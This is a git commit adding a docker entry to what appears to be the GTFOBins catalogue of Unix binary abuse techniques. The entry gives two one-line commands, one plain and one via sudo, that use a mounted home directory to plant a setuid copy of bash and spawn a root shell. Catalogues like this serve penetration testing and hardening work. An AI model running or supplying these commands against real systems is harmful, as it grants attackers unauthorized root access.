add new ways

This commit is contained in:
AlessandroZ
2018-08-17 17:16:09 +02:00
parent 6b73dcf283
commit 7219385a05
6 changed files with 64 additions and 0 deletions

7
_gtfobins/docker.md Normal file
View File

@@ -0,0 +1,7 @@
---
functions:
execute-interactive:
- code: docker run -v /home/${USER}:/h_docs ubuntu bash -c "cp /bin/bash /h_docs/rootshell && chmod 4777 /h_docs/rootshell;" && ~/rootshell -p
sudo-enabled:
- code: sudo docker run -v /home/${USER}:/h_docs ubuntu bash -c "cp /bin/bash /h_docs/rootshell && chmod 4777 /h_docs/rootshell;" && ~/rootshell -p
---